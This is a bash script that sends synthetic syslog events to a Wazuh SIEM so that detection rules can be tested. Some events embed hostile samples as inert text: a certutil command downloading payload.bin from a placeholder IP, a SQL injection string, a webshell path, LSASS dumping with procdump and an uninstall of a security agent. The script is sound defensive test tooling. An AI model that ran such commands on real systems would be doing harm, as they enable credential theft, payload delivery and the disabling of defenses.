#!/usr/bin/env bash
set -euo pipefail

# Usage:
#   scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
#
# selector:
#   all | b1 | b2 | b3 | <usecase_id>
#   example usecase_id: B1-01, B2-01, B3-06

SELECTOR="${1:-all}"
COUNT="${2:-1}"
DELAY="${3:-0.3}"
EVENT_DELAY="${EVENT_DELAY:-0.05}"
DRY_RUN="${DRY_RUN:-0}"
FOREVER="false"

for arg in "${@:4}"; do
  case "${arg}" in
    --forever)
      FOREVER="true"
      ;;
    *)
      echo "error: unexpected argument '${arg}'"
      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever]"
      exit 1
      ;;
  esac
done

WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"

VCENTER_HOST="${VCENTER_HOST:-vcenter-01}"
ESXI_HOST="${ESXI_HOST:-esxi-01}"
LOGMON_HOST="${LOGMON_HOST:-logmon-01}"
WIN_SYSMON_HOST="${WIN_SYSMON_HOST:-win-sysmon-01}"
SIM_USER="${SIM_USER:-jane.doe}"

if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
  echo "error: count must be a positive integer"
  exit 1
fi

if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
  echo "error: delay must be numeric"
  exit 1
fi

if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
  echo "error: EVENT_DELAY must be numeric"
  exit 1
fi

rand_public_ip() {
  if [[ $((RANDOM % 2)) -eq 0 ]]; then
    echo "198.51.100.$((RANDOM % 240 + 10))"
  else
    echo "203.0.113.$((RANDOM % 240 + 10))"
  fi
}

emit_syslog() {
  local msg="$1"
  local sent="false"

  if [[ "${DRY_RUN}" == "1" ]]; then
    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
    return 0
  fi

  if command -v nc >/dev/null 2>&1; then
    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
      sent="true"
    fi
  fi

  if [[ "${sent}" != "true" ]]; then
    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
      sent="true"
    fi
  fi

  if [[ "${sent}" != "true" ]]; then
    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
    return 1
  fi

  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
}

selector_matches() {
  local id="$1"
  local section="$2"
  local sel
  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
  local idl
  idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
  local sec
  sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"

  [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
}

emit_b_usecase() {
  local id="$1"
  local section="$2"
  local severity="$3"
  local source="$4"
  local host="$5"
  local usecase="$6"
  local body="$7"

  selector_matches "${id}" "${section}" || return 0

  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
  sleep "${EVENT_DELAY}"
}

emit_b1() {
  local sip
  sip="$(rand_public_ip)"

  emit_b_usecase "B1-01" "B1" "high" "vmware" "${VCENTER_HOST}" \
    "vCenter GUI Login Failed 5 Times and Success 1 Time" \
    "event_type=vmware_vcenter_login_fail_success login_fail_count=5 login_success_count=1 user=\"${SIM_USER}\" src_ip=${sip}"

  emit_b_usecase "B1-02" "B1" "medium" "vmware" "${ESXI_HOST}" \
    "ESXi Enable SSH on Hosts" \
    "event_type=vmware_esxi_enable_ssh action=enable service=ssh user=\"root\" host=\"${ESXI_HOST}\""

  emit_b_usecase "B1-03" "B1" "high" "vmware" "${ESXI_HOST}" \
    "ESXi SSH Failed 5 Times and Success 1 Time" \
    "event_type=vmware_esxi_ssh_fail_success ssh_fail_count=5 ssh_success_count=1 user=\"root\" src_ip=${sip}"
}

emit_b2() {
  emit_b_usecase "B2-01" "B2" "low" "log_monitor" "${LOGMON_HOST}" \
    "Log Monitor Logs Loss Detection" \
    "event_type=log_loss_detection missing_stream=firewall expected_eps=500 observed_eps=0 duration_seconds=180"
}

emit_b3() {
  emit_b_usecase "B3-01" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
    "Sysmon LSASS Dumping" \
    "event_type=sysmon_lsass_dump event_id=10 process=procdump.exe target_process=lsass.exe user=\"${SIM_USER}\""

  emit_b_usecase "B3-02" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
    "Sysmon SQL Injection" \
    "event_type=sysmon_sql_injection event_id=1 process=w3wp.exe url=\"/app/login.php?id=1%27%20OR%201=1--\""

  emit_b_usecase "B3-03" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
    "Sysmon Webshell" \
    "event_type=sysmon_webshell event_id=11 file=\"C:\\\\inetpub\\\\wwwroot\\\\shell.aspx\" process=w3wp.exe"

  emit_b_usecase "B3-04" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
    "Sysmon Uninstall" \
    "event_type=sysmon_security_agent_uninstall event_id=1 process=msiexec.exe cmdline=\"msiexec /x security-agent\" user=\"${SIM_USER}\""

  emit_b_usecase "B3-05" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
    "Sysmon LSASS Dumping by Task Manager" \
    "event_type=sysmon_lsass_dump_taskmgr event_id=10 process=taskmgr.exe target_process=lsass.exe action=create_dump"

  emit_b_usecase "B3-06" "B3" "medium" "windows_sysmon" "${WIN_SYSMON_HOST}" \
    "Sysmon CertUtil Download" \
    "event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\""
}

emit_selected_set() {
  local sel
  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"

  case "${sel}" in
    all)
      emit_b1
      emit_b2
      emit_b3
      ;;
    b1|b1-*)
      emit_b1
      ;;
    b2|b2-*)
      emit_b2
      ;;
    b3|b3-*)
      emit_b3
      ;;
    *)
      emit_b1
      emit_b2
      emit_b3
      ;;
  esac
}

echo "starting proposal Appendix B log simulator"
echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"

if [[ "${FOREVER}" == "true" ]]; then
  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
  trap 'echo; echo "stopped"; exit 0' INT TERM
  while true; do
    emit_selected_set
    sleep "${DELAY}"
  done
else
  for ((i=1; i<=COUNT; i++)); do
    emit_selected_set
    if [[ "${i}" -lt "${COUNT}" ]]; then
      sleep "${DELAY}"
    fi
  done
  echo "done"
fi